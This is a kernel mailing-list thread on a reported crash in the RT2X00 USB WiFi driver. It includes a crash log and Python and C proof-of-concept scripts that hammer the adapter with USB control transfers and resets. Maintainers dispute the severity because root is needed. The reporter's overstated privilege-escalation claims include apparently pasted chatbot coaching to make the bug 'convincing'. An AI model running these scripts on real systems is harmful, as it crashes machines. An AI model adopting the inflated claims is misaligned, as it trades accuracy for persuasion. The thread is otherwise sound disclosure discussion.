> [ +0.000006] ? do_user_addr_fault+0x31d/0x6b0
> [ +0.000005] ? exc_page_fault+0x83/0x1b0
> [ +0.000006] ? asm_exc_page_fault+0x27/0x30
> [ +0.000008] ? brcmf_cfg80211_escan_handler+0x27/0x380 [brcmfmac]
> [ +0.000016] ? srso_alias_return_thunk+0x5/0x7f
> [ +0.000005] ? psi_group_change+0x230/0x570
> [ +0.000006] ? __pfx_brcmf_cfg80211_escan_handler+0x10/0x10 [brcmfmac]
> [ +0.000016] brcmf_fweh_call_event_handler+0x5c/0x110 [brcmfmac]
> [ +0.000018] brcmf_fweh_event_worker+0x89/0x320 [brcmfmac]
> [ +0.000016] ? raw_spin_rq_unlock+0x10/0x40
> [ +0.000004] ? srso_alias_return_thunk+0x5/0x7f
> [ +0.000004] ? finish_task_switch.isra.0+0x85/0x2a0
> [ +0.000006] process_one_work+0x240/0x450
> [ +0.000006] worker_thread+0x50/0x3f0
> [ +0.000004] ? srso_alias_return_thunk+0x5/0x7f
> [ +0.000005] ? __pfx_worker_thread+0x10/0x10
> [ +0.000004] kthread+0xf2/0x120
> [ +0.000005] ? __pfx_kthread+0x10/0x10
> [ +0.000004] ret_from_fork+0x47/0x70
> [ +0.000005] ? __pfx_kthread+0x10/0x10
> [ +0.000005] ret_from_fork_asm+0x1b/0x30
> [ +0.000007] </TASK>
> [ +0.000003] Modules linked in: brcmfmac_wcc brcmfmac brcmutil
> nf_conntrack_netlink xfrm_user xfrm_algo xt_addrtype br_netfilter
> xt_CHECKSUM xt_MASQUERADE xt_conntrack ipt_REJECT nf_reject_ipv4 xt_tcpudp
> nft_compat nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4
> vboxnetadp(OE) vboxnetflt(OE) vboxdrv(OE) nf_tables libcrc32c nfnetlink
> bridge stp llc overlay intel_rapl_msr intel_rapl_common
> snd_hda_codec_realtek rt2800usb snd_hda_codec_generic snd_hda_codec_hdmi
> rt2x00usb edac_mce_amd rt2800lib snd_hda_intel snd_intel_dspcfg rt2x00lib
> snd_intel_sdw_acpi kvm_amd snd_hda_codec amdgpu mac80211 snd_hda_core
> snd_hwdep kvm binfmt_misc snd_pcm irqbypass amdxcp crct10dif_pclmul
> snd_seq_midi iommu_v2 cfg80211 nls_iso8859_1 polyval_clmulni
> snd_seq_midi_event drm_buddy polyval_generic ghash_clmulni_intel libarc4
> input_leds joydev gpu_sched sha256_ssse3 snd_rawmidi sha1_ssse3
> drm_suballoc_helper drm_ttm_helper aesni_intel ttm crypto_simd snd_seq
> cryptd drm_display_helper snd_seq_device rapl snd_timer cec rc_core snd
> [ +0.000101] eeepc_wmi wmi_bmof drm_kms_helper k10temp i2c_algo_bit
> soundcore ccp mac_hid sch_fq_codel msr parport_pc ppdev lp parport drm
> efi_pstore ip_tables x_tables autofs4 hid_logitech_hidpp hid_logitech_dj
> hid_generic usbhid hid mfd_aaeon asus_wmi video ledtrig_audio sparse_keymap
> platform_profile crc32_pclmul nvme ahci i2c_piix4 r8169 xhci_pci nvme_core
> libahci xhci_pci_renesas realtek nvme_common wmi
> [ +0.000053] CR2: 0000000000000360
> [ +0.000003] ---[ end trace 0000000000000000 ]---
> [ +0.289680] RIP: 0010:brcmf_cfg80211_escan_handler+0x27/0x380 [brcmfmac]
> [ +0.000044] Code: 90 90 90 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41
> 54 53 48 83 ec 20 4c 8b 17 44 8b 6e 08 4d 8b 72 20 41 83 fd 04 74 67 <49>
> 8b 86 60 03 00 00 48 89 fb a8 01 0f 84 b9 02 00 00 41 83 fd 08
> [ +0.000005] RSP: 0018:ffffb44e061fbd20 EFLAGS: 00010202
> [ +0.000005] RAX: 0000000000000000 RBX: ffff94582e9759c0 RCX:
> ffffb44e061fbde8
> [ +0.000004] RDX: ffff9456d574f450 RSI: ffffb44e061fbde8 RDI:
> ffff94582e9759c0
> [ +0.000003] RBP: ffffb44e061fbd68 R08: ffff9456d574f450 R09:
> 0000000000000000
> [ +0.000003] R10: ffff9458bce3c900 R11: 0000000000000000 R12:
> 0000000000000045
> [ +0.000003] R13: 0000000000000008 R14: 0000000000000000 R15:
> 0000000000000045
> [ +0.000003] FS: 0000000000000000(0000) GS:ffff9465aea00000(0000)
> knlGS:0000000000000000
> [ +0.000004] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [ +0.000004] CR2: 0000000000000360 CR3: 0000000210812000 CR4:
> 0000000000750ef0
> [ +0.000003] PKRU: 55555554
> [ +0.000003] note: kworker/0:4[19093] exited with irqs disabled
> [ +0.036443] usb 3-1.4 wlxbc307eab1237: renamed from wlan0
> [ +0.726413] ieee80211 phy34: brcmf_fil_cmd_data: bus is down. we have
> nothing to do.
> [ +0.000010] ieee80211 phy34: brcmf_notify_escan_complete: Scan abort failed
> 
> Here is the final part of the translation, including your request for a CVE
> assignment:

_If_ Ubuntu is the upstream/supplier of this vulnerability, the
Canonical CNA can assign the CVE. Otherwise we will defer to
linux-wireless.

> import usb.core
> import usb.util
> import time
> import random
> 
> dev = usb.core.find(idVendor=0x148f, idProduct=0x3572)
> if dev is None:
>     raise ValueError("Device not found")
> 
> 
> def send_ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_length):
>     try:
>         data = bytes([0xFF] * data_length)
>         print(
>             f"Sending: bmRequestType={bmRequestType}, bRequest={bRequest}, wValue={wValue}, wIndex={wIndex}, data={data}")
>         send = dev.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data)
>     except Exception as e:
>         print(f"Error: {e}")
> 
> 
> requests = [
>     (0x00, 0x00, 0x0000, 0x0000, 1),
> ]
> 
> for i in range(100):
>     for bmRequestType, bRequest, wValue, wIndex, data_length in requests:
>         send_ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_length)
>         time.sleep(0.1)
>         dev.reset()
> 


[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 833 bytes --]

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Kalle Valo]

Mark Esler <mark.esler@canonical.com> writes:

> On Fri, Aug 02, 2024 at 03:57:47PM +0800, color Ice wrote:
>> Dear RT2X00 driver maintainers,
>> 
>> We have discovered a critical vulnerability in the RT2X00 driver. We
>> recommend urgently submitting an update.
>> 
>> *Vulnerability Description*: When a PC is running Ubuntu 22.04 or 24.04,
>> executing our proof of concept (POC) can directly cause a null pointer
>> dereference or use-after-free (UAF). The systems we tested were:
>> 
>>    - *Description*: Ubuntu 22.04.4 LTS *Release*: 22.04
>>    - *Description*: Ubuntu 24.04 LTS *Release*: 24.04
>> 
>> We tested network cards from the RT2870/RT3070/RT5370 series, which all
>> belong to the RT2X00 driver group, and all were able to trigger the
>> vulnerability. Additionally, executing the POC requires only user-level
>> privileges. Debian systems are not affected.
>
> It is unclear if Ubuntu is the only affected distro.

It's also unclear how this works as there's no description about the
issue. I'm not going to run any scripts and I don't know how python
usb.core package works. I guess it needs root privileges to be able to
send these USB commands?

If this really is a security vulnerability, here are the instructions
how to report them:

https://docs.kernel.org/process/security-bugs.html

Also adding Greg.

-- 
https://patchwork.kernel.org/project/linux-wireless/list/

https://wireless.wiki.kernel.org/en/developers/documentation/submittingpatches

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[color Ice]

Reproduction conditions for this vulnerability:
Target version: Ubuntu22.04&24.04.
Load the wireless network card using the RT2X00 driver to the target
system. Use the lsusb command to view the ID and PID. For example:

Bus 001 Device 008: ID 0a5c:bd17 Broadcom Corp. BCM43236 802.11abgn
Wireless Adapter Replace dev = usb.core.find(idVendor=0a5c,
idProduct=0xbd17) in the general script with the ID number of your own
PC machine.
Execute: sudo python3 poc.py and wait quietly, the system will crash directly.

Note: pyusb library: PyUSB provides Python 3 with easy access to host
Universal Serial Bus (USB) systems.
This library is very safe. https://github.com/pyusb/pyusb or PIP install pyusb.

I am submitting a C language POC to you, but I believe it is not as
stable as the Python version. You can give it a try.

poc.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libusb-1.0/libusb.h>

#define VENDOR_ID 0x148f
#define PRODUCT_ID 0x3070
#define DATA_SIZE 64

// Define your requests here (example)
struct usb_request {
uint8_t bmRequestType;
uint8_t bRequest;
uint16_t wValue;
uint16_t wIndex;
uint16_t data_length; // You may need to adjust this based on your
actual requests
};

struct usb_request requests[] = {
{ /* fill with your request parameters */ },
{ /* fill with your request parameters */ },
// Add more requests as needed
};

int main() {
libusb_device_handle *dev_handle;
int r;

// Initialize libusb
r = libusb_init(NULL);
if (r < 0) {
fprintf(stderr, "Error initializing libusb: %s\n", libusb_error_name(r));
return 1;
}

// Open device
dev_handle = libusb_open_device_with_vid_pid(NULL, VENDOR_ID, PRODUCT_ID);
if (dev_handle == NULL) {
fprintf(stderr, "Device not found or could not be opened.\n");
libusb_exit(NULL);
return 1;
}

// Run specified requests
int i, j;
for (i = 0; i < 100; i++) {
for (j = 0; j < sizeof(requests) / sizeof(requests[0]); j++) {
struct usb_request *req = &requests[j];
unsigned char data[DATA_SIZE];
memset(data, 0xFF, DATA_SIZE);

r = libusb_control_transfer(dev_handle, req->bmRequestType, req->bRequest,
req->wValue, req->wIndex, data, req->data_length, 0);
if (r < 0) {
fprintf(stderr, "Control transfer failed: %s\n", libusb_error_name(r));
}

usleep(100000); // Sleep for 0.3 seconds between requests
}
libusb_reset_device(dev_handle); // Reset device after each transfer
}

libusb_close(dev_handle);
libusb_exit(NULL);

return 0;
}

gcc -o usbpoc poc.c -lusb-1.0

sudo ./usbpoc


Kalle Valo <kvalo@kernel.org> 于2024年8月3日周六 05:03写道：
>
> Mark Esler < mark.esler@canonical.com > 写道：
>
> > 2024 年 8 月 2 日星期五下午 03:57:47 +0800，color Ice 写道：
> >> 尊敬的 RT2X00 驱动程序维护人员，
> >>
> >> 我们在 RT2X00 驱动程序中发现了一个严重漏洞。我们
> 建议紧急提交更新。
> >>
> >> *漏洞描述*：当 PC 运行 Ubuntu 22.04 或 24.04 时，
> 执行我们的概念验证 (POC) 可能会直接导致空指针
> 取消引用或释放后使用 (UAF)。我们测试的系统是：
> >>
> >> - *说明*：Ubuntu 22.04.4 LTS *发布*：22.04
> >> - *说明*：Ubuntu 24.04 LTS *发布*：24.04
> >>
> >> 我们测试了 RT2870/RT3070/RT5370 系列的网卡，它们都
> 属于 RT2X00 驱动程序组，并且都能够触发漏洞
> 。此外，执行 POC 只需要用户级
> 权限。Debian 系统不受影响。
> >
> > 目前尚不清楚 Ubuntu 是否是唯一受影响的发行版。
>
> 由于没有关于该
> 问题的描述，因此也不清楚这是如何工作的。我不会运行任何脚本，也不知道 python
> usb.core 包是如何工作的。我猜它需要 root 权限才能
> 发送这些 USB 命令？如果这确实是一个安全漏洞，以下是 如何报告它们的
>
> 说明： https://docs.kernel.org/proces s/security-bugs.html 还添加了 Greg。-- https : //patchwork.kernel.org/project/linux-wireless/list/ https://wireless.wiki.kernel.o rg/en/developers/documentation /submittingpatches
>
>
>
>
>
>
>
>
>
>

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Greg KH]

On Sat, Aug 03, 2024 at 12:03:26AM +0300, Kalle Valo wrote:
> Mark Esler <mark.esler@canonical.com> writes:
> 
> > On Fri, Aug 02, 2024 at 03:57:47PM +0800, color Ice wrote:
> >> Dear RT2X00 driver maintainers,
> >> 
> >> We have discovered a critical vulnerability in the RT2X00 driver. We
> >> recommend urgently submitting an update.
> >> 
> >> *Vulnerability Description*: When a PC is running Ubuntu 22.04 or 24.04,
> >> executing our proof of concept (POC) can directly cause a null pointer
> >> dereference or use-after-free (UAF). The systems we tested were:
> >> 
> >>    - *Description*: Ubuntu 22.04.4 LTS *Release*: 22.04
> >>    - *Description*: Ubuntu 24.04 LTS *Release*: 24.04
> >> 
> >> We tested network cards from the RT2870/RT3070/RT5370 series, which all
> >> belong to the RT2X00 driver group, and all were able to trigger the
> >> vulnerability. Additionally, executing the POC requires only user-level
> >> privileges. Debian systems are not affected.
> >
> > It is unclear if Ubuntu is the only affected distro.
> 
> It's also unclear how this works as there's no description about the
> issue. I'm not going to run any scripts and I don't know how python
> usb.core package works. I guess it needs root privileges to be able to
> send these USB commands?
> 
> If this really is a security vulnerability, here are the instructions
> how to report them:
> 
> https://docs.kernel.org/process/security-bugs.html

This is public now, so security@k.o doesn't matter anymore.  But it
should just be sent to the linux-usb mailing list, as this just looks
like "sending a USB random data causes problems."

But the odd thing is that you are sending data to a device that already
has a driver bound to it.  How is libusb allowing that to happen?
Shouldn't it require you to unbind the device from the driver first
before talking to it over usbfs?

thanks,

greg k-h

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[LidongLI]

Hi Greg,



Alright, if you have any issues, please feel free to contact us. We believe the issue might be caused by the time.sleep() function set during packet transmission. Please reproduce and investigate."

If you need any adjustments or further assistance, just let me know!




Best regards,

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[LidongLI]

Hi Greg,

We tried it, and after configuring the udev rules, I can run the proof of concept (PoC) and reproduce the previous issue without using sudo






Best regards,

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[LidongLI]

Hi Greg,

We tried it, and after configuring the udev rules, I can run the proof of concept (PoC) and reproduce the previous issue without using sudo






Best regards,

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Greg KH]

On Mon, Aug 05, 2024 at 10:20:30AM +0800, LidongLI wrote:
> Hi Greg,
> 
> We tried it, and after configuring the udev rules, I can run the proof of concept (PoC) and reproduce the previous issue without using sudo
> 

What did you do exactly with a new udev rule?  Did you give it userspace
permission to unbind/reset the device?

As it is today, this requires root permissions and it looks to just be a
race with the existing kernel driver setting the device up and userspace
trying to reset the device at the same time, not anything that can
normally happen in a system from what I can tell.

thanks,

greg k-h

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[LidongLI]

Dear Greg,

Thank you for your response and for considering the details I've provided so far. I would like to offer further clarification on the vulnerability and why it warrants assigning a CVE.

### Detailed Description of Vulnerability

1. **Root Cause and Exploitability**:
    - The vulnerability in question can be triggered by sending specific data packets to a device driver, causing a Null Pointer Dereference in the kernel. This results in a complete system crash and reboot.
    - While initially it appears to require root privileges, altering the Udev rules allows for exploiting this vulnerability from a non-root user space, significantly lowering the barrier for potential exploitation.

2. **Impact on Systems**:   
    - The root cause is a race condition between the userspace resetting the device and the kernel driver initializing it. This is not an edge case but a common scenario that could occur in systems where devices are frequently reset or reinitialized.
    - By manipulating Udev rules, an attacker can create a persistent and repeatable method to exploit the vulnerability, leading to Denial of Service (DoS) conditions. This can be particularly disruptive in production environments, impacting servers, IoT devices, and embedded systems relying on Ubuntu.

3. **Practical Implications**:
    - The fact that this can be achieved through Udev rules modification is significant because it demonstrates a path to escalate privileges and attack vectors that can be exploited in real-world scenarios.
    - Systems that are exposed to user-space applications needing device resets or control operations could be particularly vulnerable, especially in multi-user environments.

### Experimental Evidence
### Setting Up Udev Rules: Granting Permissions to Your USB Device Without Using sudo

To grant permissions to your USB device without using `sudo`, you need to create a udev rules file. Follow these steps:

#### Create the Udev Rules File:

1. Open a terminal and create the udev rules file with the following command:

 
   sudo nano /etc/udev/rules.d/99-usb.rules
   

2. Add the rule: In the file, add the following content. Replace `YOUR_VENDOR_ID` and `YOUR_PRODUCT_ID` with your device's vendor ID and product ID.

   
   SUBSYSTEM=="usb", ATTR{idVendor}=="148f", ATTR{idProduct}=="3070", MODE="0666"
  

#### Restart the udev Service:

3. To apply the new rule, restart the udev service with these commands:

 
   sudo udevadm control --reload-rules
   sudo udevadm trigger
  
Regarding the discussion on permission issues, I would like to further illustrate that it is very common and reasonable to configure similar udev rules to allow non-root users direct access to USB devices in many practical scenarios. Below are some specific examples:

Educational and Experimental Environments:
In university courses on computer networking or wireless networking experiments, students frequently need access to various USB wireless devices to complete their experiments. To simplify permission management and improve experimental efficiency, teachers or lab administrators often add udev rules allowing all students to conveniently access and operate these devices without using sudo privileges.

Development Environments:
In software development companies, developers often need to debug and develop network-related applications, such as network monitoring tools and WiFi management tools. Frequent use of sudo privileges reduces development efficiency, so development environments commonly configure udev rules to simplify permission management, enabling developers to directly access these USB devices.

Automated Testing Environments:
In automated testing labs, test scripts need frequent access to and configuration of USB wireless devices for performance testing or connection testing. To ensure test scripts can run unobstructed, testing engineers would add udev rules so that test scripts can run without sudo privileges.

Custom Devices for Specific Purposes:
In home automation or custom devices for specific purposes (e.g., homemade NAS or IoT devices), administrators want to ensure that certain USB devices (such as wireless adapters) are plug-and-play, and the system can automatically recognize and configure these devices. In such cases, configuring udev rules to open device usage permissions is very common.

Embedded Systems:
In embedded systems (such as routers or VPN devices), it may be necessary to configure USB wireless adapters to expand connectivity. These devices often have a set of default permission configurations to ensure that wireless adapters can be automatically recognized and used, avoiding manual permission settings each time.

Based on these various practical application scenarios, even though the system's default configuration might require sudo privileges, these real-world configuration needs are entirely reasonable and common. When devices use udev rules, non-root users can bypass the default permission restrictions, making race conditions a significant security vulnerability worth attention. To ensure system security and stability,


### Request for CVE Assignment

Given the above details, I believe this vulnerability has the following implications:
- **Denial of Service**: Potential for attackers to cause persistent reboots and disruptions in a variety of environments.
- **Privilege Escalation**: Demonstrates a pathway for non-root users to exploit kernel weaknesses by leveraging standard system configurations (such as Udev rules).

Assigning a CVE to this issue would help track and mitigate the impact across affected systems and emphasize the critical need for a patch or workaround.

Thank you for your consideration. I look forward to any further questions or clarifications needed.

Best regards,


### Tips for Strengthening Your Argument

1. **Provide Evidence**: Include logs, stack traces, or any crash reports that underscore the vulnerability's impact.
2. **Highlight Real-World Scenarios**: Describe how the vulnerability can be exploited in practical, real-world situations.
3. **Be Precise and Clear**: Use technical terminology appropriately and explain any assumptions or configurations required to trigger the vulnerability.
4. **Emphasize Risk**: Stress how easy it is for an attacker to achieve their goals once the Udev rule is modified, even if it's a non-default configuration.

Remember, the goal is to present the vulnerability convincingly as a security risk that needs to be tracked and addressed with a CVE assignment.

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Greg KH]

On Mon, Aug 05, 2024 at 04:33:39PM +0800, LidongLI wrote:
> 
> Dear Greg,
> 
> Thank you for your response and for considering the details I've provided so far. I would like to offer further clarification on the vulnerability and why it warrants assigning a CVE.
> 
> ### Detailed Description of Vulnerability
> 
> 1. **Root Cause and Exploitability**:
>     - The vulnerability in question can be triggered by sending specific data packets to a device driver, causing a Null Pointer Dereference in the kernel. This results in a complete system crash and reboot.

Are you sure it's the sending random data and not the reset that is
causing this?  You also are attempting to send confused data while the
driver is binding, so of course it is going to get confused, how could
it not?

>     - While initially it appears to require root privileges, altering the Udev rules allows for exploiting this vulnerability from a non-root user space, significantly lowering the barrier for potential exploitation.

Exactly what udev rule changes are required?  And as that requires root
permission, that is not really that big of an issue, right?

> 2. **Impact on Systems**:   
>     - The root cause is a race condition between the userspace resetting the device and the kernel driver initializing it. This is not an edge case but a common scenario that could occur in systems where devices are frequently reset or reinitialized.
>     - By manipulating Udev rules, an attacker can create a persistent and repeatable method to exploit the vulnerability, leading to Denial of Service (DoS) conditions. This can be particularly disruptive in production environments, impacting servers, IoT devices, and embedded systems relying on Ubuntu.

If you can change udev rules, you own the machine, this is not a kernel
issue.  Again, there is a reason why normal users can't do this.

> 3. **Practical Implications**:
>     - The fact that this can be achieved through Udev rules modification is significant because it demonstrates a path to escalate privileges and attack vectors that can be exploited in real-world scenarios.
>     - Systems that are exposed to user-space applications needing device resets or control operations could be particularly vulnerable, especially in multi-user environments.
> 
> ### Experimental Evidence
> ### Setting Up Udev Rules: Granting Permissions to Your USB Device Without Using sudo
> 
> To grant permissions to your USB device without using `sudo`, you need to create a udev rules file. Follow these steps:
> 
> #### Create the Udev Rules File:
> 
> 1. Open a terminal and create the udev rules file with the following command:
> 
>  
>    sudo nano /etc/udev/rules.d/99-usb.rules
>    
> 
> 2. Add the rule: In the file, add the following content. Replace `YOUR_VENDOR_ID` and `YOUR_PRODUCT_ID` with your device's vendor ID and product ID.
> 
>    
>    SUBSYSTEM=="usb", ATTR{idVendor}=="148f", ATTR{idProduct}=="3070", MODE="0666"

So you are allowing any user to read/write to the device at the same
time the driver is bound to it, but again, you had to be root to allow
this to happen.

So unless a normal user can do this, with the default permissions, this
is just going to be a normal "fix up the usb driver to allow confused
data to not confuse it" which is a normal thing.  USB drivers were never
originally designed to allow for malicious devices.  We have slowly
changed this over time to allow for semi-malicious USB configuration
data to be handled properly, but we have not said "USB devices are not
fully trusted" yet.  If we want to do that, we need to do a lot of work
as that is not how Linux (or really any operating system) is designed at
the moment.

Again, we will be glad to fix up the individual bugs here as found, but
it's not a major issue as it's just something that someone with root
permissions can do to a machine, along with thousands of worse things :)

thanks,

greg k-h

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Greg KH]

On Mon, Aug 05, 2024 at 04:33:39PM +0800, LidongLI wrote:
> ### Tips for Strengthening Your Argument
> 
> 1. **Provide Evidence**: Include logs, stack traces, or any crash reports that underscore the vulnerability's impact.
> 2. **Highlight Real-World Scenarios**: Describe how the vulnerability can be exploited in practical, real-world situations.
> 3. **Be Precise and Clear**: Use technical terminology appropriately and explain any assumptions or configurations required to trigger the vulnerability.
> 4. **Emphasize Risk**: Stress how easy it is for an attacker to achieve their goals once the Udev rule is modified, even if it's a non-default configuration.
> 
> Remember, the goal is to present the vulnerability convincingly as a security risk that needs to be tracked and addressed with a CVE assignment.

Note, please work with your professor who has assigned you this task to
not actually include the task assignment in the emails you send out.

This didn't help any :)

good luck on your grade!

greg k-h

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[LidongLI]

Dear Greg,

Thank you, Greg!


Yes, as you mentioned, it requires users to create their own udev rules, which is not common among Ubuntu personal users. However, in some non-personal user scenarios, they must pre-add udev rules to meet their needs. A simple example: in some Ubuntu embedded Linux scenarios, we found that when starting a wireless hotspot, developers must configure udev rules to ensure a stable connection, enable auto-loading of drivers, or auto-run or write USB-based auto-configuration scripts.

Alright, thank you for your fix. We will proceed to the email you specified to request a CVE.

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Theodore Ts'o]

On Tue, Aug 06, 2024 at 09:59:04AM +0800, LidongLI wrote:
> 
> Yes, as you mentioned, it requires users to create their own udev
> rules, which is not common among Ubuntu personal users. However, in
> some non-personal user scenarios, they must pre-add udev rules to
> meet their needs. A simple example: in some Ubuntu embedded Linux
> scenarios, we found that when starting a wireless hotspot,
> developers must configure udev rules to ensure a stable connection,
> enable auto-loading of drivers, or auto-run or write USB-based
> auto-configuration scripts.

Yes, but when the user is setting up their own udev rules, they are
editing them as root (e.g, "sudo nano /etc/udev/rules.d/").

But in your exploit scenario, the *attacker* needs to be able to
insert a specific udev rule to allow the attack to succeed.  So that
means that the attacker needs to be able to manipulate the user to
insert a udev rule which allows the attacker to acarry out the attack,
or the user has left the udev rule file in such a way that it is
writeable by the attacker.  But in that case, the attacker can just
edit the udev rule to arrange to run some script as root, ad it's
already game over.

Your argument is roughly the same as "sudo is a vulerability because
the attacker could run (or trick the user to run) the command 'sudo
chmod 4755 /bin/bash'.  Well yes, if the attacker can arrange to run a
particular command as root, it's game over.  But that's not a security
bug, but rather a bug in the gullible user who has root access.

Similarly, if the user has a insecure configuration --- say, suppose
the user has run the command "sudo chmod 4755 /bin/bash", it does not
follow that this is a reason to request a CVE for /bin/bash.  It's not
really a security bug in /bin/bash, but a bug in how /bin/bash was
confiured.

Cheers,

						- Ted

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Alan Stern]

On Tue, Aug 06, 2024 at 09:59:04AM +0800, LidongLI wrote:
> 
> Dear Greg,
> 
> Thank you, Greg!
> 
> 
> Yes, as you mentioned, it requires users to create their own udev 
> rules, which is not common among Ubuntu personal users. However, in 
> some non-personal user scenarios, they must pre-add udev rules to meet 
> their needs. A simple example: in some Ubuntu embedded Linux 
> scenarios, we found that when starting a wireless hotspot, developers 
> must configure udev rules to ensure a stable connection, enable 
> auto-loading of drivers, or auto-run or write USB-based 
> auto-configuration scripts.
> 
> Alright, thank you for your fix. We will proceed to the email you 
> specified to request a CVE.

LidongLI, are you able to test patches?

It looks like the driver does not properly shut down its async queues 
when it unbinds.  The best person to address this problem is the 
driver's maintainer, Stanislaw Gruszka.  Nevertheless, I can help by 
suggesting things to test.

Alan Stern

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Alan Stern]

On Wed, Aug 07, 2024 at 12:47:26AM +0800, color Ice wrote:
> Hi,
> 
> I'm glad that you can address this issue. I believe that this is indeed a
> vulnerability because the issue is caused by the rt2x00 driver's failure to
> properly shut down its async queues. While it requires sudo to execute, it
> is still a problem as it can trigger a kernel system exception. We can
> imagine that this vulnerability could be executed without root permissions
> in certain scenarios. For instance, in many embedded systems, configuring
> udev rules might be necessary to ensure automated operations, and in such
> scenarios, it can be triggered without root permissions.
> 
> Therefore, I believe that from a vulnerability perspective, it should
> indeed be eligible for a CVE, as it can be fixed and it is indeed a flaw.
> If this vulnerability is not addressed, future driver processing and
> adaptation may encounter robustness and security issues. I believe security
> issues should be handled with the corresponding seriousness.
> 
> Thank you.

You didn't answer my question.  Are you able to test patches?

Alan Stern

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[color Ice]

Dear Alan, 、
Thank you for your response. Yes, I am able to test patches. Please
provide the necessary patches, and I will conduct the tests to verify
their effectiveness. Best regards,

Alan Stern <stern@rowland.harvard.edu> 于2024年8月7日周三 02:36写道：
>
> On Wed, Aug 07, 2024 at 12:47:26AM +0800, color Ice wrote:
> > Hi,
> >
> > I'm glad that you can address this issue. I believe that this is indeed a
> > vulnerability because the issue is caused by the rt2x00 driver's failure to
> > properly shut down its async queues. While it requires sudo to execute, it
> > is still a problem as it can trigger a kernel system exception. We can
> > imagine that this vulnerability could be executed without root permissions
> > in certain scenarios. For instance, in many embedded systems, configuring
> > udev rules might be necessary to ensure automated operations, and in such
> > scenarios, it can be triggered without root permissions.
> >
> > Therefore, I believe that from a vulnerability perspective, it should
> > indeed be eligible for a CVE, as it can be fixed and it is indeed a flaw.
> > If this vulnerability is not addressed, future driver processing and
> > adaptation may encounter robustness and security issues. I believe security
> > issues should be handled with the corresponding seriousness.
> >
> > Thank you.
>
> You didn't answer my question.  Are you able to test patches?
>
> Alan Stern

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[LidongLI]

Dear Greg,


Here is a scenario where udev rules are necessary. They can be used to automatically execute a series of configuration and security operations when a wireless network adapter is inserted, ensuring the stability and security of the system. An example is as follows:





# 1. Create a udev rules file
sudo nano /etc/udev/rules.d/99-custom-usb.rules

# 2. Add the following content to the file, replacing idVendor and idProduct with actual values
SUBSYSTEM=="usb", ATTR{idVendor}=="148f", ATTR{idProduct}=="3070", MODE="0666", RUN+="/path/to/custom/script.sh"

# 3. Example of a custom script
# Create a script file
sudo nano /path/to/custom/script.sh

# Add custom commands to the script file
#!/bin/bash
# Example commands
iwconfig wlan0 essid "MyNetwork"
ifconfig wlan0 up
dhclient wlan0

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[LidongLI]

Hi Ted,

Thank you for your detailed response.

An attacker doesn't need to create a udev rule in the user's path because that isn't feasible. We need to consider scenarios where certain special devices (embedded systems) are designed from the outset with RT2X00 wireless network cards included in the udev rules. This is because they need to perform custom or automated functions related to the embedded system's operations.

Therefore, what I want to emphasize is that while this vulnerability may not affect users who do not have udev rules configured, setting udev rules is not inherently insecure. It is a normal configuration. Without udev rules, USB devices cannot be properly invoked or perform additional functions under certain conditions. It's a necessary feature.

However, for users utilizing RT2X00 drivers with this normal configuration, it directly allows the execution of the script without sudo, leading to a system crash. This indicates that the RT2X00 driver itself has a vulnerability that needs to be addressed. A robust and secure kernel and driver should not crash or dereference a null pointer regardless of the script run or the permissions used. We tested other drivers and did not encounter similar issues.

I believe this issue should be considered from two aspects:

1.The vulnerability indeed requires certain conditions to be triggered, but the configuration required is normal and necessary.
2.Running the script does cause a kernel null pointer dereference. Any robust and secure system should not encounter null pointer dereferences or crashes.

I understand your analogy with the /bin/bash example, and I'd like to clarify a couple of points to provide more context for why I believe this should be considered a security issue:

Normal and Necessary Configuration: While it is true that setting up udev rules is not common among typical personal Ubuntu users, there are legitimate and necessary scenarios, especially in embedded Linux environments, where such configurations are required. For example, in industrial automation systems, USB devices are often used to connect various sensors and controllers. In such environments, udev rules are configured to automatically load specific drivers or execute scripts upon device connection to ensure the proper operation of the system. This setup is essential for the reliable functioning of the automation process and is not an example of an insecure configuration.

System Robustness and Stability: Regardless of the configuration, a robust and secure system should handle unexpected inputs gracefully. In this case, running the script under the specified conditions causes a kernel null pointer dereference, leading to a system crash. For instance, consider a medical device scenario where a USB-connected device is used for critical patient monitoring. The udev rule is set to load necessary drivers and start monitoring software automatically upon connection. If an attacker can exploit this setup to cause a kernel crash, it can lead to severe consequences, including potential harm to patients. This example highlights that the presence of udev rules is not inherently insecure; rather, the kernel's inability to handle the input correctly is the underlying issue.

